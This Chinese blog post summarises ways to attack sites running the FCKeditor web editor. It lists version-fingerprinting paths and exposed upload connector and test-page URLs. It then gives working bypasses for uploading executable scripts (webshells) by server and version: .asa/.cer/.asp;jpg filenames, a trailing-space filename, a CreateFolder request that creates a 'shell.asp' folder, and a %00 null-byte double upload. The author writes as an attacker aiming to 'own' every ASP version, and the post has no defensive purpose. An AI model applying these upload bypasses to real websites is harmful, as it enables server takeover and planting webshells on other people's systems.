天天看點

FCKeditor上傳漏洞總結

0x01 FCKeditor簡介

FCKeditor是一個專門使用在網頁上屬于開放源代碼的所見即所得文字編輯器。它志于輕量化,不需要太複雜的安裝步驟即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的程式設計語言相結合。“FCKeditor”名稱中的 “FCK” 是這個編輯器的作者的名字Frederico Caldeira Knabben的縮寫。FCKeditor 相容于絕大部分的網頁浏覽器,像是 : Internet Explorer 5.5+ (Windows)、Mozilla Firefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未來的版本也将會加入對 Opera 的支援。

0x02 判斷版本

常見判斷版本方法有兩個:

/fckeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html           

0x03 上傳位址常用的上傳位址A

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試通過)
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp           

常用的上傳位址B

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html           

0x04 上傳方法ASP版

asp一般是搭在windows主機上,webserver一般為IIS6/IIS7/IIS7.5。據我現在所知,asp版的fckeditor已經可以全秒了。

<2.4.x版本(也就是2.4.x及以下)的File參數時為黑名單驗證,可以通過上傳.asa、.cer、.asp;jpg(針對IIS6)。如果asa、cer不被解析,還可以傳.asp[空格]。傳的方法就是抓包然後在資料包裡的檔案名後填個空格。

2.5.x和2.6.x:如果是IIS6.0 ,可以通過突破變”.”為”_”限制建立.asp檔案夾,代碼如下:

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp           

複制代碼然後往這個檔案夾裡傳jpg,這個不多說了。

如果是IIS7及以上,這種方法就**了。這個時候可以借助剛爆出來的那種方法,先傳shell.asp%00txt,然後再傳一次。

至此,asp版本已經全秒了。

ASPX版

低版本同ASP版,2.6.x用剛爆出來的二次上傳已經不好使了,不過建立test.asp的檔案夾還可以使。一般IIS6.0會支援asp,可以先傳個asp上去,然後再XX。

PHP版

1.低版本(2.4.x及以下),仍然為黑名單驗證,windows主機可以使用php[空格]傳,2.4.3的有個media未設定導緻任意檔案上傳可以秒linux。

2.2.5.x以後是白名單驗證,僅能寄希望于wooyun裡爆的那個<2.6.4的任意檔案上傳,成功率有限。

3.2.6.4以上的php版,據我所知沒戲,求高人指點!我粗略的看了一下它的驗證邏輯,表示沒戲,windows裡的敏感字元全給過濾了。